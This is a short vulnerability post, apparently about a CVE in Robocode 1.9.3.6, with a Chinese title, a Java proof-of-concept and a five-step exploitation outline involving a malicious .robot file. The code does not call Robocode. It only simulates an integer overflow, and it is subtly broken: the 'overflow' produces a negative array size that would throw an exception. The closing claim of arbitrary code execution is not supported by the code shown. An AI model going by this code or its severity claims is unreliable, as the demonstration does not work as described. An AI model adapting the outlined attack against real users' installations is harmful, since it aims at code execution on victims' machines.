CVE-2025-14308 Robocode 1.9.3.6 Buffer类整数溢出漏洞

// CVE-2025-14308 PoC - Integer Overflow in Robocode Buffer.write() // This PoC demonstrates how to trigger the integer overflow vulnerability import java.nio.ByteBuffer; public class CVE_2025_14308_PoC { public static void main(String[] args) { try { // Simulate the vulnerable Buffer.write() method // The vulnerability occurs when length parameter causes integer overflow int maliciousLength = Integer.MAX_VALUE; // 2147483647 int dataSize = 1024; // Actual data size // Integer overflow in buffer size calculation // Expected: maliciousLength + headerSize // Actual: due to overflow, becomes a small value int headerSize = 4; int calculatedSize = maliciousLength + headerSize; System.out.println("[*] CVE-2025-14308 Integer Overflow PoC"); System.out.println("[*] Malicious length: " + maliciousLength); System.out.println("[*] Calculated buffer size (overflow): " + calculatedSize); System.out.println("[*] Actual needed size: " + (maliciousLength + headerSize)); if (calculatedSize < maliciousLength) { System.out.println("[!] Integer overflow detected!"); System.out.println("[!] Buffer size too small, will cause overflow"); // Demonstrate buffer overflow scenario byte[] smallBuffer = new byte[calculatedSize]; byte[] maliciousData = new byte[dataSize]; // Fill with pattern for verification for (int i = 0; i < dataSize; i++) { maliciousData[i] = (byte) 0x41; // 'A' } // This would cause buffer overflow in vulnerable version // System.arraycopy(maliciousData, 0, smallBuffer, 0, maliciousLength); System.out.println("[!] PoC demonstrates integer overflow condition"); } } catch (Exception e) { System.err.println("[!] Error: " + e.getMessage()); } } } // Exploitation steps: // 1. Attacker crafts a robot (.robot) file with malicious buffer size // 2. Victim loads the robot file in vulnerable Robocode version // 3. The Buffer.write() method processes the malicious length // 4. Integer overflow occurs during buffer allocation // 5. Buffer overflow allows arbitrary code execution